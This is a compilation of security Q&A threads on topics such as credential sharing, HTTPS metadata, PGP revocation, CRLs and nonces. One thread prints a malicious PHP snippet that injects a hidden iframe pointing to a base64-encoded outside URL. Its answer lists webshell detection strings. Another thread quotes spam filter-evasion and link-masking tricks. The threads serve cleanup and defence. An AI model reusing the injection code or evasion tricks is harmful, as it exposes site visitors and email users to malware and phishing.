How to share "secure" account credential with my spouse? Not sure if this is the right place to ask, but here goes:

My spouse and I have 20-ish or so accounts (retirement, investment, banks, insurances, tax, etc.) where I would we both would like to have full access. Should something happen to one of us, the other needs to be able to access all the key resources and be able to conduct business as needed (without some major legal wrangling).

Many of these accounts these days have two factor authorization, secret questions (which are often silly and unanswerable), and/or rotating passwords with different set of password rules. They often don't offer an option for joint account ownership.

We used to just share account link, user name and password (encrypted). But that doesn't work anymore, because two-factor authentication and frequent password updates.

How do we do this in a way that's reasonably easy and safe?

Share name and password as usual
Secret questions are stupid, just treat them as another password (put randomly generated text there and shere it)
rotating passwords: If you don't mind the reduction in security, just share the rules the same way you share passwords. If you do, there is not an easy way to do this.

2FA

TOTP, you should add it to both of your phones when registering. If that is not feasable, consider using a TOTP app that allows backups and share the backups. You could also share the QR code/secret in text form, but that reduces security somewhat.
U2F unless the site allows two tokens for your account, than this may be impossible to share. Maybe there is a token with a backup feature, I don't know.
SMS: This one is also a bit tricky. You may want to set up some sort of SMS cloud backup and give your spouse access to that, or make it possible for her to get a new SIM for your number.


How to secure JavaScript-enabled login page without TLS I am involved in an IoT project with single pager web UI. Unfortunately, as it was discovered in a hard way, TLS stack is not viable on the selected platform. The alternatives I've found for securing the XMLHTTPRequest traffic relay on integrity and authenticity of the bootstrap/login page. Is it safe to assume that in local networks attackers will not be able to intercept a request for login page from a browser to a device and send a hijacked login page instead with malicious JavaScript?

Is it safe to assume that in local networks attackers will not be able to intercept a request for login page from a browser to a device and send a hijacked login page instead with malicious JavaScript?

No, you cannot assume that unless the connection itself is reliably protected (e.g. an inaccessible UTP cable or already authenticated WiFi connection).


OpenPGP SmartCard: generate revocation certificate on-card? As far as I can tell:

It is possible to generate a private keyring (i.e. signing private key, plus associated encryption private key and authentication private key) entirely on an OpenPGP Smartcard (i.e. without ever exporting the signing private key from the card), e.g. by using gpg --card-edit, followed by generate.
However, it is not possible to generate a revocation certificate for such a signing private key.

Am I correct about this, or is there in fact a way to generate a revocation certificate for a private key that has never been exported from an OpenPGP Smartcard?

Answer

It depends upon whether you have access to the public key corresponding to the signing private key.

By default, when you use generate to create a private keyring on an OpenPGP Smartcard with GnuPG, the signing public key will be generated as part of that process and will be automatically added to your user's local keyring-for-public-keys, e.g. ~/.gnupg/pubring.gpg. (From there, you can make backup copies for yourself and/or publish copies to keyservers, to minimise the risk of finding yourself without access to that public key in the future.) With this public key, and the Smartcard, in your possession, yes you can generate a revocation certificate.*

However, if, for any reason, you no longer have access to that public key, then no, you cannot generate a revocation certificate, because:

  OpenPGP smart cards do not store enough information to reconstruct a full OpenPGP public key. (Source.)

Footnote

* In recent versions of GnuPG 2.x (and possibly of GnuPG 1.x - I haven't checked these), if a user uses generate to create a private keyring on an OpenPGP Smartcard, then GnuPG automatically generates a revocation certificate and saves it to a file in the user's ~/.gnupg/openpgp-revocs.d/ directory. (This is in addition to generating the signing public key and adding it to the user's local keyring-for-public-keys as mentioned above.) This is a labour-saving feature: assuming that you would otherwise generate a revocation certificate manually, if creating a new private keyring, it spares you from having to do that.


Is possible to apply an inverse function to remove a compiled object? I create a watermark with photoshop like this

To make this watermark I use a software functions of a software (for example photoshop). Functions is implement like set instructions (my variables)

a, b,c,d

function is like this

f(x) = a,b,c,d

set instruction is implemented like variables a,b,c,d

- place the bitmap over a photo or drawing (a)
- apply a Flat (b)
- adjust the transparency slider setting to X value (c)
- edit the Contrast amount X value (d)

I save to png format, I know also that software add also EXIF metadata.

I sent picture to my friend.
My friend open picture with my same software and it want remove my watermark applying the inverse function that I used to realize my embossed transparent watermark.

If my initial function was

f = f (x)

used to generate watermark, my friend need to remove my watermark so he need to have this situation

f = f ^-1

  hardware & software is the same, algorithm is known both, me and he.

Have same software allow to use EXIF metadata like a decode key and have same format png allow to decode and separate watermark like if it is encoded layer (in photoshop, for example, we can add edits and compose picture in layers) but applying inverse function we can remove watermark directly because inverse function + key make this :

  a) Recognize that picture It comes from the same software because EXIF metadata added after saving picture is like a decode key or access point
  b) Recognize that algorith is same because format file is same (png)
  c) Recognize that in that picture is integrated watermark like an locally integrable function, in sofware language is integrated like a encoded level that appears in software like merged layer as if it is only one.
      This is possible because software works like an operator so using same software and adding metadata info generate a transfer function
  d) Appling inverse function allow to transform encoded level like a simply layer.

We don't have distorsion

Is possible ?

It depends on the watermark you've added. If the watermark changes the image in a known way without losing any image fidelity, then yes. Otherwise, no.

The key is being able to retain sufficient detail in the amended image that running the inverse function exactly reproduces the original image data. Typically, this is a very hard problem because digital image files have limited data depth.

For a simple example, imagine your function changed 1 pixel. It changes a single channel - red lets say - of that pixel by multiplying by 2. The red channel started with a value of 180, 180x2=360 but a standard png file only allows a single byte per channel = 255. So your change looses data, what should have been 360 is actually 255. Now reverse your function, 255/2 = 127, different to the original 180.

So if you can work out a clever algorithm that will never exceed the image data limits then you are OK. Good luck with that! On the other hand, if you used a different image format, you would have fewer limits so the problem would be somewhat easier.

The other way to fix the problem would be to somehow capture the missing data in the metadata. But then your "inverse" function would have to use that data somehow to restore the images full fidelity. And you would need to somehow hide or encrypt the metadata otherwise someone else could do the same thing which would make adding a watermark pretty pointless in the first instance.


With HTTPS, what information would a MitM attacker be able to glean? Consider a user accessing a site that is using HTTPS for all its traffic.

A hacker is trying to use a man-in-the-middle to snoop on the user. What information can he glean?

Obviously the content is encrypted, and we'll assume he can't decrypt it, but what can he learn without having to do that?

The kind of things I'm thinking of are:

The fact that the user is going to the site at all. I'm guessing that there would likely have been a DNS request for the domain name, and that request wouldn't have been encrypted, so the hacker knows at the very least that the user is accessing this specific site.
URLs - Are the actual URLs of the request encrypted as well as the content? If not, some URLs may contain useful information for the attacker (ie which pages have been requested, ID numbers for requested data, etc)
The size of the transmitted data: If the hacker knows what the site does and what is expected to be downloaded or posted to it, I would guess he'd be able to work out roughly what the user is doing just by the data size of each https request/response. For instance, if the site's purpose is to allow users to download protected documents, the hacker could deduce which of the documents on the site the user has downloaded.
Request/response timings: Similar to the above, if the hacker has knowledge of the site, and knows that a particular page has a slow response time, he would be able to deduce when the user went to that page.

Most of the above relies on the hacker having some existing knowledge of the site, so this isn't a casual hacker we're talking about; this is specific targeting of the site and/or the individual.

How much of the above is actually feasible? Would I be right to worry about them if I'm developing a sensitive site? Are there any other angles I haven't thought of?

In an SSL connection, the GET or POST portion is encrypted. For example: visitor: https://www.yoursite.com/shoppingcart.aspx

www.yoursite.com          visible
GET /shoppingcart.aspx    encrypted
HTTP/1.0                  encrypted

What you're thinking about is called an inference attack, where with little bits of information, an attacker can put together pieces of a puzzle. So you ask:

  If the hacker knows what the site does and what is expected to be
  downloaded or posted to it, I would guess he'd be able to work out
  roughly what the user is doing just by the data size of each https
  request/response.

This is not necessarily the case. Again, since both a GET and a POST is encrypted, it would be a worthless guessing game to an extent. Consider the following:

Example A

Site contains 1mb file called topsecret.docx
Visitor uploads a 1mb video of cats

What you will see:

Site <--> 1mb session <--> Visitor

Because the GET and POST are both encrypted, there is no way for you to determine if the user downloaded or uploaded. All you are seeing is a 1mb exchange. Any attacker would be wasting a lot of time and resources playing a guessing game however, consider a third site in the mix.

Example B

Site A contains 1mb file called topsecret.docx
Visitor does something
Visitor visits Site B
Site B now contains topsecret.docx

What you will see (of course via network sniffing):

   Visitor <--> Site A (1mb session)
   Visitor <--> Site B (1mb session)

If you could find the same documents on both sites, you could infer that visitor went to site a, downloaded a file, then visited site b where the file appeared. You could md5 it to further document proof however, you'd need to find the initial file. Otherwise visitor could have went to both sites, and uploaded or downloaded cat videos.

It would be easier for someone with the resources to pull off this kind of attack, to just outright MiTM the sites with stolen certs, sslstrip, or some other trickery versus playing a guessing game.

MODIFIED TO ANSWER Lekensteyn's comment

Lekensteyn, I added a fictitious example to illustrate a point. And it still holds true, so I will give you another example

Site A contains 2 files (File1 (1mb) and File2 (200mb)

Visitor <--> download File2 <--> SiteA

In the above, the visitor is downloading a 200mb file and upon starting he stops the session at say 1mb. Because you cannot see what he did, traffic analysis shows the session was a 1mb connection. What you will see:

Visitor <--> 1mb session <--> Site A

Would you be willing to bet your last dollar the visitor downloaded File1 based on the size? In my example, I used a crude mechanism to illustrate my answer. There was a lot I could have gotten into detail with but I choose not to for brevity


Can certificate pinning be achieved strictly at the network layer? With a client side java application that interacts with the server over http, is it possible to handle certificate pinning strictly at the network layer? Meaning, if the certificate is pinned on a load balancer that handles the connection between the client application and server.

This article sounds like it only applies to browsers and not a custom app.
https://clouddocs.f5.com/training/community/irules/html/class2/module1/lab5.html#hpkp

To my understanding (based on some of the below links) this is something that has to be done through the application and can't be done at the network level only. But thought I would pose the question here to confirm since I feel like I may still be missing something.

https://medium.com/@zhangqichuan/explain-ssl-pinning-with-simple-codes-eaee95b70507
https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning
https://www.synopsys.com/blogs/software-security/ineffective-certificate-pinning-implementations/
Understanding Certificate Pinning

TLS is not a network protocol. There is nothing for the network to "pin to" as it were.

Check for certificates is done by the application, so it must be handled by an application.

Pinning can absolutely be implemented in a custom app, though. You just include the same function as a browser would.

OWASP has some general guidance.


How secure is CodeIgniter 3.x? How secure is the CodeIgniter 3.x framework? I have read that people discourage usage of CodeIgniter because it is unsafe. The problem is: These posts are old and is mainly pointed to the 2.x versions or older.

A quote from this page:

  I strongly urge you to stay away from CodeIgniter. I'll give you one reason and this is the only reason you'll need: CodeIgniter has no idea how to do security properly. Or it just isn't a priority for them.

Is this still true for the later versions of CodeIgniter? And if so: Is there any alternative that works a lot like CodeIgniter, but more secure?

Remember Code Igniter is a development Framework. It doesn't strive to make your application secure. It merely gives you the tools to do it yourself. If you look at CI's Security page, it pretty clear they are expecting the developer to understand Application Security and build it into their application.

If WebApp security is relatively new for you, I would start with OWASP. It might be advantageous to look at look other frameworks such as Zend or Cake which I believe do more upfront things for the developer.

I've used CI in both 2.x and 3.x. It provides IMO huge flexibility for PHP devs, but if you have only used a Framework which does certain security things for you, I can see why someone would take issue with it.


Proving an action was done at an exact time - a posteriori I was thinking about the way git allows to edit the timestamp on commits, and how you can rewrite (public) history that way.

I then drifted from that to "can we prove someone did an action at time X a posteriori? " to prevent these rewrites.

And surprisingly, my brain found little or no ways to prove an action was taken on time, with no way of doctoring that afterwards.

I assume that we can't just ask a trusted server's log on date/time involved for connection as proof, and have to rely on a crypto-thingy to prove "we were there",

I thought about a trusted server sending a hash/key dependent on time when it was contacted, so that you would have to query the server and "be there on time" to get the code.
But this is silly, as anyone could record these hashes by hitting the server often enough.

Any computation based on the exact date time would also be broken of course, which leaves me at a loss.

My actual questions now :

Is such a problem actually important for some ? Important enough for someone else to solve it / take a stab ?
What did I miss ? Any insight ?

Trusted timestamps

You can use a trusted timestamp service. There are companies (such as GlobalSign) that will provide that service for a fee.

  But this is silly, as anyone could record these hashes by hitting the server often enough.

Yes. But only if you have a small search space. But in the case of SHA256 there you would have to devote 10^77 rows in your database to storing the results. And that is WITHOUT any data in those rows. That number is close to the estimated atom count in the universe of 10^80. And that is too high.

And that makes you safe: the sheer, overwhelming amount.

Nobody will have enough time to submit all the hashes. (And also: nobody will have that much money to pay the processing fees.) Nobody will have enough hard drives to store all the results.

Further reading

Wiki has an nice explanation of the general idea.

Wikipedia: Trusted timestamping, Section Creating a timestamp: (line breaks mine)

  The technique is based on digital signatures and hash functions.

  First a hash is calculated from the data. A hash is a sort of digital fingerprint of the original data: a string of bits that is practically impossible to duplicate with any other set of data. If the original data is changed then this will result in a completely different hash.

  This hash is sent to the TSA.

  The TSA concatenates a timestamp to the hash and calculates the hash of this concatenation.

  This hash is in turn digitally signed with the private key of the TSA.

  This signed hash + the timestamp is sent back to the requester of the timestamp who stores these with the original data (see diagram).


Found some malicious Javascript - how did it get there? Found some malicious javascript on a Joomla site which we noticed has returned after being deleted a week ago. Also noticed that www.cssstickyfooter.com is infected by the same code. If you're curious, here it is in whole below.

    function net_match ( $network , $ip ) {
    $ip_arr = explode ( '/' , $network );
    $network_long = ip2long ( $ip_arr [ 0 ]);
    $x = ip2long ( $ip_arr [ 1 ]);
    $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
    $ip_long = ip2long ( $ip );
    return ( $ip_long & $mask ) == ( $network_long & $mask );
    }

    function net()
    {
    $ip=$_SERVER['REMOTE_ADDR'];

    if(
    net_match('64.233.160.0/19',$ip)==0 &&
    net_match('66.102.0.0/20',$ip)==0 &&
    net_match('66.249.64.0/19',$ip)==0 &&
    net_match('72.14.192.0/18',$ip)==0 &&
    net_match('74.125.0.0/16',$ip)==0 &&
    net_match('89.207.224.0/24',$ip)==0 &&
    net_match('193.142.125.0/24',$ip)==0 &&
    net_match('194.110.194.0/24',$ip)==0 &&
    net_match('209.85.128.0/17',$ip)==0 &&
    net_match('216.239.32.0/19',$ip)==0 &&
    net_match('128.111.0.0/16',$ip)==0 &&
    net_match('67.217.0.0/16',$ip)==0 &&
    net_match('188.93.0.0/16',$ip)==0
    )
    return true;
    }

    function detect_os() {
    global $os;
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    if(strpos($user_agent, "Windows") !== false) $os = 'windows';
    }detect_os();

    function detect_brows() {
    global $OOOOO0000, $OOOOOO000;
    $user_agent = $_SERVER["HTTP_USER_AGENT"];
    if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
    ) $OOOOOO000 = "MSIE";
    }detect_brows();

    $IP = $_SERVER['REMOTE_ADDR'].".log";

    function _log()
    { global $IP;
    touch ("/tmp/impacto/{$IP}");
    }
    @mkdir('/tmp/impacto');
    function _check()
    {
    global $IP;
    if(!file_exists("/tmp/impacto/{$IP}")) return true;
    }
    $dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuOTguMjkvSG9tZS9pbmRleC5waHA=');
    if(_check())
    {
    if(net())
    {
    if($os)
    {
    if($OOOOOO000 == "MSIE")
    {
    echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>\');';

    _log();

    }}}}

Eyeballing it, it appears to check that the visitor is using IE, and adds an invisible iframe to the page, subjecting the user to all kinds of nasties.

How do you suppose it got there and how can we stop it from being inserted again?

If you have access to the access logs and the ftp logs scan them. In the access logs if you see a long line (scroll all the way to the right, then scroll down) see if that line is returning a non-404 response code. Then see if that line has some of the following:

../../../../
base64_decode

If you have a line in the access log that returns a 200 response and has one of the above strings, then see what file that line is targeting. It could be that is the file the hackers are exploiting to infect your website.

In Joomla based sites, there are many outdated plugins. You can check all of your plugins against the Joomla Vulnerable Extensions list:

http://docs.joomla.org/Vulnerable_Extensions_List

Then, verify that you're also at 1.5.23 if on the 1.5 version. Otherwise, if your site is based on Joomla 1.6, verify that you're on 1.6.3.

If you have the FTP logs, scan them to see what might have been uploaded to your site. There might be backdoor file on your site.

Scan all files for any Perl files (.pl)
Scan all .php files for:

passthru
system
base64_decode
edoced_46esab (above reversed)
cmd
getenv
gzinflate
stripslashes
exec
r57
c99
c100
function_exists

These will get you started. If you find these strings in a .php file, you need to closely examine the file to see if has the usual Joomla "stuff" at the top of the file. If not, it may be a backdoor.

So, a likely scenario is this:

The site was not updated immediately or there is a vulnerable plugin.
Hackers found the site and uploaded a backdoor shell script, or they found a vulnerability in an extension and it allows them to send a string to a component and that string contains code to automatically infect the site.
You keep cleaning the code, but it keeps returning

You won't stop this until you find out how the hackers got in originally. Many people say to wipe the site clean of all files and reload. However, if you reload the same vulnerable component/extension/plugin, the hackers will be back.


Is it possible to infect an e-mail by accident? Sometimes, my friends send me e-mails. I know that they don't care that much about computer security (while I care).
I know that they don't know how to create an infected e-mail (no reason for doing this), but I would like to know:

Can they create an infected e-mail by accident?

If their computers are infected with malware, virus, etc., when they write and send the e-mail, or forward another e-mail to me (in my case, it's an receipt of a purchase from a store), is it possible that a malware infected an e-mail before sending it?

Before answering your questions, let me summarize "3 Top Ways People Get Infected by An Email Virus" by Tina Sieber. In general there were three common things related to email infection/the methods which the user might get infected, which might fall into infected email's prey under these circumstances:

A Virus As An  Hoax

First rule of thumb: never trust hoax emails and don't forward unless it's genuine,teach your friends regarding it, here is a good resource to get informed about email hoaxes and hopefully verify the credibility of an email you have received.
A Virus In An Email Attachment

The most common part of email viruses was spreading through attachment,

  Attachments that contain viruses are either executable programs (file types: .com, .exe, .vbs, .zip, .scr, .dll, .pif, .js) or macro viruses (file types: .doc, .dot, .xls, .xlt). The safest way to avoid them is to not open email attachments.

If you were using a secure email provider like gmail or zimbra it will alert you and ensure online scanner was present at the time of downloading, else never consider to open the file without scanning.

One of the common mistakes people do is editing rich text word file without scanning it, beware it might be injected with exploits.
A Virus In The Email Body

Malicious content can be found in the body of an email - beware it doesn't contain a vulnerable email body.
Will the infected victim transmit the virus through email?

The answer might vary based on operating system and the mail client the infected victim yes,there were more possibilities to get infected, Several email clients have built in scanners and avoid it but some of the more outdated scanners allow them to upload with malware.

As for your example; consider the shopping bill with injected malicious code, obviously a PDF can be injected with a malware - take a look at how they inject into it.

Second thing if a spam email is forwarded - here's is an article discussing how spam emails can infect you. Here's a quote from "Spam: Unsolicited email messages" by Panda Security:

  Spammers try to obtain as many valid email addresses as possible, i.e.
  actually used by users. They use different techniques for this, some
  of which are highly sophisticated:

Mail lists: the spammer looks in the mail list and notes down the addresses of the other members.
Purchasing user databases from individuals or companies: although this type of activity is illegal, it is actually carried out in

  practice and there is a black market.
      Use of robots (automatic programs) that scour the Internet looking for addresses in web pages, newsgroups, weblogs, etc.
      DHA (Directory Harvest Attack) techniques: the spammer generates email addresses belonging to a specific domain and sends messages to
  them. The domain mail server will respond with an error to those
  addresses that do not actually exist, so the spammer can discover
  which addresses generated are valid. The addresses can be compiled
  using a dictionary or through brute force, i.e. by trying all possible
  character combinations.

  Consequently, all email users are at risk from these types of attacks.
  Any address published on the Internet (used in forums, newsgroups or
  on any website) is more likely to be a spam victim.

  Techniques used.

  Spammers use numerous techniques to produce messages capable of
  by-passing all types of mail filters. Some of the tricks used to
  obscure the message’s HTML code are looked at below:

Division of message subject line using bogus line breaks:

Subject: =?utf-8?q?Identical drugs -- l?=
=?utf-8?q?ittle monetary valu?=
=?utf-8?q?e!?=
Use of null characters (Quoted-Printable type encoding):   =00H=00T=00M=00L=00>=00<=00H=00E=00A=00D=00>=00=0D=00=0A=00<=00M=00E=00=
        T=00A=00 =00h=00t=00t=00p=00-=00e=00q=00u=00i=00v=00=3D=00C=00o=00n=00=
        t=00e=00n=00t=00-=00T=00y=00p=00e=00 =00c=00o=00n=00t=00e=00n=00t=00=3D=
        =00"=00t=00e=00x=00t=00/=00h=00t=00m=00l=00;=00 =00c=00h=00a=00r=00s=00=
   =00t=00=3D=00u=00n=00i=00c=00o=00d=00e=00"=00>=00=0D=00=0A=00<=00M=00=
        E=00T=00A=00 =00c=00o=00n=00t=00e=00n=00t=00=3D=00"=00M=00S=00H=00T=00=
        M=00L=00 =006=00.=000=000=00.=002=008=000=000=00.=001=004=000=000=00"=00=
        =00n=00a=00m=00e=00=3D=00G=00E=00N=00E=00R=00A=00T=00O=00R=00>=00<=00=
        /=00H=00E=00A=00D=00>=00=0D=00=0A=00<=00B=00O=00D=00Y=00>

  Interchanging letters in the words used. The message is still legible
  to the recipient, but the filters do not recognize the words used:

I finlaly was able to lsoe the wieght I have been sturggling to
lose for years! And I couldn't bileeve how simple it was! Amizang
pacth makes you shed the ponuds! It's Guanarteed to work or your
menoy back!
Inverting text using the Unicode right-to-left override, expressed as HTML entities (? y ?):

  Your Bnak Cdra Linknig

  (Your Bank Card Linking)
      Encapsulating a  tag with an HREF tag, so that a legitimate URL appears instead of a malicious one.

 <A HREF="<URL_LEGÍTIMA>">
    <map name="FPMap0">
    <area coords="0, 0, 623, 349" shape="rect" href="<URL_MALICIOSA>">
    </map>
    <img SRC="<img_url>" border="0" usemap="#FPMap0">

Use of ASCII characters to “design” the message content:

  Although some of the techniques used have now been mentioned, there
  are many more, such as the use of incorrect HTML tags, URL encoding,
  the use of HTML entities to conceal certain letters, the use of
  invisible ink, etc.

  Other types of techniques are based on including the spam message as
  an attached file in a valid message or the use of CSS (Cascading Style
  Sheets) in spam messages to conceal certain words or parts of the
  message.

  Methods used for spam distribution are as follows:

Vulnerable or poorly configured mail servers (Open Relay) which allow any user to send messages without checking their sender (which

  will normally be spoofed).
      Computers affected by malware: certain types of malware facilitate the sending of spam through affected computers, such as the
  installation of proxy. servers. It is even possible to rent botnets,
  real computer networks affected by bots (hybrids of worms, Trojans y
  backdoors).

So in summary:

Infected email can be transmitted by accident
Through shopping bills, documents the medium might vary, but beware there might be backdoor in it

How can I prevent it?

Never Underestimate any file, don't allow any email attachment to execute without scanning
Use email client with a virus scanner or with virus scanner integration with your existing solution
Keep scanners up to date
If possible educate your friends about dos and don'ts
Never trust offers, hoax unless it's official sources

The basic rule for attacker is to trick you and steal your stuff, don't give fall for it.


How to disable CBC-mode ciphers Is there a simple allowlist-style way of disabling CBC mode cipher suites in apps that use an openssl cipher suite list? I'm hoping for something in the style of !RC4, however, !CBC has no effect, and still allows suites such as TLS_DHE_RSA_WITH_AES_128_CBC_SHA256.
The only solution I've found so far is to use a much more verbose allowlist that only includes non-CBC ciphers. Is there a simpler alternative?

You can use !SHA1:!SHA256:!SHA384 to disable all CBC mode ciphers. There are some non-CBC false positives that will also be disabled (RC4, NULL), but you probably also want to disable them anyway.

Note that while GCM and CHACHA20 ciphers have SHA* in their name, they're not disabled because they use their own MAC algorithm. The SHA* in their name is for the PRF, not the MAC


Centralize Linux System Management We currently maintain several linux servers and are looking to employ sub contractors. However, we wan't to keep tabs on who does what on each server. Other then creating sudo accounts on every server, is there a centralized user management system that a user must log into and then are able to access or send commands to certain systems?

Sounds like you require a centralised authentication system and a centralised audit system for monitoring.

You could configure a LDAP server for centralised authentication using the Linux PAM module. This server would manage Role Based Access Control and sudo permissions across systems.

For logging user activity, you could use something like snare, splunk, logstash etc for log shipping from each of the systems being worked on. You could search based on user or system to identify user activity and commands being run.


How to keep secure while browsing on open wifi when SSL VPN is blocked? After a recent visit to a hotel I was surprised to discover that they blocked access to my OpenVPN server.  I often use this as a way to secure my internet traffic when I am on public wireless. Besides using only SSL based websites, or tunneling over SSH what options do I have to ensure that no one can sniff my packets while they are being broadcast in plain text through the air?

If you can arrange this ahead of time (or get someone to do it for you), you could set up an SSL proxy (e.g. via stunnel), which would in effect be creating an SSL VPN.
Not so different from tunnelling over SSH, I guess, but it is another option.


Implementing mutual authentication between two components on the same server Mutual authentication between application interfaces are mandated in my place of work.

We are looking to implement a vendor provided software where they are installing two "components" on a single Windows Server. One is an API sitting on IIS, the other is an application.

How can this be implemented, here are my thoughts:

A application user can be created so the application can authenticate the API but this is one way authentication, not mutual.
Is it possible to have two separate SSL certs on one server, one for each component and implement CN/DN checking for Mutual Authentication? If so how can this be implemented.
Worst case is we can separate the components onto two servers and implement a TLS connection with CN/DN checking for Authentication. However this is the more costly option.

Thanks.

Please keep in mind that without hardware security (TEE, Some crypto key ladder, etc...) a real strong security mechanism can't be implemented as long as potential attacker has physical access to the server.

Now, to implement the "good" security mechanism for your need, you have to list every possible attacks you must be resilient to:

Below is an example of a security mechanism that is supposed to protect against replay attack.

Initial setup:

AppA and AppB both have a pair of public/private key for asymetric crypto.
AppA and AppB both knows other app public key.

Security mechanism:

AppA generate a payload that is composed of:

A magic constant: let's say "PLOP".
A random token: nonceA.
A timestamp: timestampA.

AppA cipher this payload with AppB public key.
Using chosen communication mechanism, AppA push encrypted payload to AppB.
AppB unciphered payload and checks if:

magic constant is at very beginning of the clear payload.
timestamp is almost equal to now().

If previous checks were ok, than AppB knows that AppA is legitimate, it should now proves it is too, so...
AppB generate a payload composed of:

Same magic constant PLOP
Previous random token nonceA
A newly generated random token nonceB
A timestamp timestampB

AppB ciphers payload with AppA public key and push result to AppA.
AppA just do the same operations done by AppB:

Check magic constant is present.
Check if provided NonceA is the same.
Check timestamps consistency.

Then AppA must return to AppB a payload with NonceB, timestampB and ciphered with AppB public key.
At this point, both apps ensured that other one is legitimate.

This is one of possible mechanism to fullfil your requirements, there's probably some way to improve this scheme using cryptographic signing, etc...
Nevertheless, keep in mind that:

With a total control over the physical machine, there's no way to 100% fullfill your requirements with no secure chipset because:

Crypto keys can be extracted from binaries or memory.
Certificate Authority can be modified and then, SSL protections are not sure anymore...

To protect against replay attack, use timestamp and nonce.


Executing external process from Java security What are the security implications of executing external processes using Java ProcessBuilder/Process? For example:

Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("processExecutable");
InputStream is = proc.getInputStream();
int c;
while ((c = is.read()) != -1) {
  System.out.print((char) c);
}
int exitVal = proc.waitFor();

From what I understood, communication between Java and external processes is via pipes, so I am interested how difficult it is for someone to eavesdrop and get data sent from a process back to Java on Unix? Will only users logged in to the same machine have the potential to eavesdrop? Will any logged user have the potential or only administrators or users in the same group etc. as user running the Java app which executed the external process?

The pipes can be accessed via /proc//fd/.  This means that under a default configuration, only root and the process owner can open them.  Therefore, you can consider the pipe to be as safe as the local filesystem.


Should I be worried about old viruses from a hard drive that hasn't been used in the last 13 years? I recently built a new PC with windows 10 and I was recovering some pictures from an old hard drive that I had in one of my PCs from about 13 - 15 years ago. The hard drive has just been sitting  in a drawer for about 13 years. When I was transferring the one of the user folders windows defender said there were a few viruses named

TrojanDownloader:ASX/Wimad

I'm assuming these viruses were from the limewire folder that quite a few downloads. But I was concerned there may be more viruses that weren’t detected.

Should I format my PC or do you think the viruses are too old to worry about?

You'd have enough problems trying to get a legitimate 13 year old program to run, much less a malicious program. While it's certainly possible that malware remains that can infect your current computer after all those years, it's not likely going to be able to cause much damage. Back then, malware could rely on the assumption that the computer would run it with high privileges, allowing it to do anything it wants, such as writing directly to the hard drive. Nowadays, malware is run under a much more limited context.

Regardless, as long as you don't actually execute the malware, you should be fine. Don't run any programs that you see lying around from 13 years ago. You aren't going to get infected simply by transferring some files over unless you have some particularly advanced malware in there. Even advanced malware relying on exploits is unlikely to be able to succeed, as the security techniques Microsoft has employed has changed and been improved drastically since the malware was written.


If we use only client nonce and not server nonce, which attack vectors become possible? As we all know, nonce is needed to prevent replay attacks. Everywhere I read about nonce, I see that client always fetches one from the server, and, to improve security even more, it also can add its own client nonce (cnonce).

Just like on this diagram:

This scheme adds an overhead of one more roundtrip to the server; and I'm trying to figure which attack vectors will become possible if we only use client nonce, and ensure on the server that cnonces are never reused (to avoid storing all used cnonces, obviously we could just require that every next cnonce for a given API key is larger than the previous one, and only store the last cnonce for the given API key).

So far I fail to find any new attack vector: by ensuring that cnonces can never be reused for each API key, we eliminate replay attacks completely. Am I missing something?

Replay attack becomes possible. Because an attacker can choose his client nonce, he can just choose a nonce that a legitimate user picked and replay his login.

Note that technically you can get rid of the additional round-trip by choosing a predictable nonce as server nonce, such as the current time + user name. Then you store the last used time by user and only accept nonces with higher time to prevent replay. While this is not as secure as an random nonce, it may be enough for some use-cases.

Namely with this approach, you may have to implement a grace period for clocks, that are not precise, accepting nonces which are off by some time. An attacker may be able to obtain a token and use it within this time period, where he would not be able to use it directly, though this is quite unlikely. An attacker may also be able to get tokens for future if he can manipulate the clients clock. And possibly other vectors may be opened by using this approach.


Sending an encrypted PGP email to someone who doesn't yet have my public key Suppose I have the public key of a recipient I'd like to send an email to, and I've never sent this person an email before. Does it make sense to encrypt my first email to this recipient and also attach my public key? Can they decrypt my email?

(This is somewhat an "etiquette" sort of question.)

thanks

They don't need your public key at all to decrypt.

You need their public key to encrypt the message, which they decrypt with their private key. The only thing they need your public key for is to verify that the message comes from you. In that sense it doesn't make sense to attach your public key, unless, for instance, you plan to confirm fingerprints over the phone soon after.


Should expired compromised certificates be taken care of if the time is always correct? I am trying to set up a CA for my company, and issuing every employee a digital certificate and a private key. I am worrying about revocation and expiration.

In my case, the root certificate of CA is used to verify client identities, id est user must present a valid certificate and private key to access specific web pages (Apache VerifyClient require or Nginx ssl_verify_client on). If a user leaves the company or his/her private key is compromised, the certificate is added to CRL.

As we can see, the CRL will grow longer and longer as employees come and go. This is not what I want. However, as every certificate has an expiration date (I set it to 180 days), can I remove expired certificates from the CRL? This can somewhat reduce the issue with over-sized CRL.

Wikipedia article on "CRL" says that expiration should not be used as a substitution of revocation. I think they are talking about web browsers verifying web servers, as some users' computer may have incorrect time (thus trusting the expired certificates provided by web servers). However in my case, it is the web server that verifies users, so if I can ensure that the time on the web server is correct, can I remove those expired compromised certificates from CRL?

From RFC 5280 3.3 Revocation

  An entry MUST NOT be removed
     from the CRL until it appears on one regularly scheduled CRL issued
     beyond the revoked certificate's validity period.

If you have a lot of changes (people leaving etc.) it's best to not make the certificate validity too long otherwise the CRL can grow large (some CRLs are > 30MB which might not be handled by some applications).

Your server should always have the correct time. It's your server that should check the validity of the certificate not the web client.


Is it normal for Chrome extensions to demand too many permission? I tried to install a Chrome extension for downloading Facebook video clips, but it requests too many privileges in my opinion:

  Read and change all your data on the websites you visit
  Manage your downloads
  Manage your apps, extensions, and themes

Managing downloads and managing themes and extensions does not seem to be a big deal but why does it want to be able to "read and change all your data on the websites you visit"?

Well, to quote the extension's description, it isn't just for downloading Facebook videos:

  Download and save videos from any website (not only Facebook videos)
  (…)
  Downloads almost from 99% of video hosting websites

So, it makes sense for it to request permision for other websites as well.

Edit: After downloading and unpacking the extension (extensions are just renamed Zip files), I can see that besides functionality for downloading Facebook videos (using code in js/hooks/facebook.js, it has code for downloading VKontakte videos as well as generic video embeds using the <video> tag and in some cases video embedded using a Flash-based player; code for these cases can be found in js/hooks/content.js.

Some of the code in the extension is fairly obfuscated and I haven't bothered analyzing it all, but it appears to be benign.


